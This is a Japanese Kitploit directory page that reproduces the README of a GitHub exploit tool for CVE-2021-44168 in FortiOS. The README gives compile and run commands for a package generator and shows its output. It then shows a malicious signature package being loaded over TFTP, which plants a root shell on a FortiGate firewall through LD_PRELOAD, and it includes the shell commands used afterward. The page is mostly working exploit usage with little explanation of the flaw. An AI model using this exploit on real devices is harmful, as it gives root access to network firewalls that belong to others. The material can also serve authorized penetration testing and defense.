Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/0xhaggis/cve-2021-44168
脆弱性分析エクスプロイトペネトレーションテストレッドチーミングペイロード開発バイナリエクスプロイト
GitHub0xhaggis/cve-2021-44168

CVE-2021-44168

FortiOS 7.0.3以前の「execute restore src-vis」コマンドにおける、整合性チェックなしのコードダウンロードの脆弱性。

リポジトリを見る
21222年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-44168 のエクスプロイト

目的

CVE-2021-44168 を悪用して Fortigate ファイアウォールにシェルを落とし、Fortigate の CLI コマンド実行時に動作する LD_PRELOAD トリックを介してアクセスを有効にします。root シェルが得られます。

使用方法

コンパイル:

root@kitploit:~
gcc -o gen_src-vis_pkg_file gen_src-vis_pkg_file.c -lz

実行:

root@kitploit:~
% ./gen_src-vis_pkg_file
./gen_src-vis_pkg_file [ -t | -p ] filename.img
  -t            Generate test package, or
  -p            Generate pwn package.
  filename.img  Write to this file.

テストモード

テストモードでは、pwned.txt というファイルを Fortigate のファイルシステムのルートに書き込みます。次のようにテストパッケージを作成します:

root@kitploit:~
% ./gen_src-vis_pkg_file -t test.img
[+] Generaing TEST package
[+] Reading test.tar for insertion into package file test.img
[+] Compressing test.tar (10240 bytes)
[+] Compressed size: 115
[+] Build pkg_header
[+] pkg_header crc32: 0x16a384f1
[+] Build obj_header
[+] Using CIDB for obj_type
[+] obj_data   crc32: 0xe097e419
[+] obj_header crc32: 0xabdfc3cb
[+] Write pkg_header + obj_header + obj_data > test.img
[+] All done. So long and thanks for all the fish!

エクスプロイトモード

エクスプロイトモードでは、シェルを FortiGate に落とし、LD_PRELOAD トリックを介して有効にするペイロードパッケージを作成します。エクスプロイトパッケージを生成するには、次のようにエクスプロイトを実行します:

root@kitploit:~
% ./gen_src-vis_pkg_file -p pwn.img
[+] Generaing EXPLOIT package
[+] Reading pwn.tar for insertion into package file pwn.img
[+] Compressing pwn.tar (16465920 bytes)
[+] Compressed size: 6843825
[+] Build pkg_header
[+] pkg_header crc32: 0xd657d879
[+] Build obj_header
[+] Using CIDB for obj_type
[+] obj_data   crc32: 0xf373554b
[+] obj_header crc32: 0x3a7fdcd7
[+] Write pkg_header + obj_header + obj_data > pwn.img
[+] All done. So long and thanks for all the fish!

悪意のあるパッケージを使用してルートシェルを取得する

FortiGate 管理 CLI から:

root@kitploit:~
FortiGate # execute restore src-vis tftp pwn.img 192.168.100.1
This operation will overwrite the current source visibility signatures!
Do you want to continue? (y/n)y

Please wait...

Connect to tftp server 192.168.100.1 ...
######

Get source visibility signatures from tftp server OK.
upd_manual_cid[255]-Updating src-vis plugin
doInstallUpdatePackage[981]-Full obj found for CIDB000
doInstallUpdatePackage[991]-Updating obj CIDB
installUpdateObject[323]-Step 1:Unpack obj 29, Total=1, cur=0
installUpdateObject[352]-Step 2:Prepare temp file for obj 29
installUpdObjRest[637]-Step 5:Backup /etc/cid.tar.gz->/tmp/update.backup
installUpdObjRest[651]-Step 6:Copy new object /tmp/updPiMCON->/etc/cid.tar.gz
installUpdObjRest[731]-Step 7:Validate object
installUpdObjRest[755]-Step 8:Re-initialize using new obj file
installUpdObjRest[767]-Step 9:Delete backup /tmp/update.backup
cid svr 13 req 4
__update_status[1181]-CIDB000 installed successfully
upd_status_save_status[114]-try to save on status file
upd_status_save_status[179]-Wrote status file
upd_manual_cid[284]-Update successful
./../../../../../data2/bfbin/rdate: Cannot create symlink to '/data2/bfbin/busybox'Error exit delayed from previous errorsupd_cfg_extract_unpacked2
upd_cfg_extract_cid_db_version[554]-version=06000000CIDB00000-00000.00000-0101010000
cid could not install sigs: version failed

FortiGate #

この時点で、Linux にシェルアウトする CLI コマンド上で LD_PRELOAD を介してアクセス可能なシェルが得られます。新しく落としたシェルを有効にする方法の一つ:

root@kitploit:~
# fnsysctl ls
/ # 
/ # export PATH=/data2/bfbin:/bin
/ # uname -a
Linux FortiGate 3.2.16 #2 SMP Thu Mar 28 02:54:46 UTC 2019 x86_64 GNU/Linux

脆弱性の解説

未定。今のところコードを読んでください。

ツールをダウンロード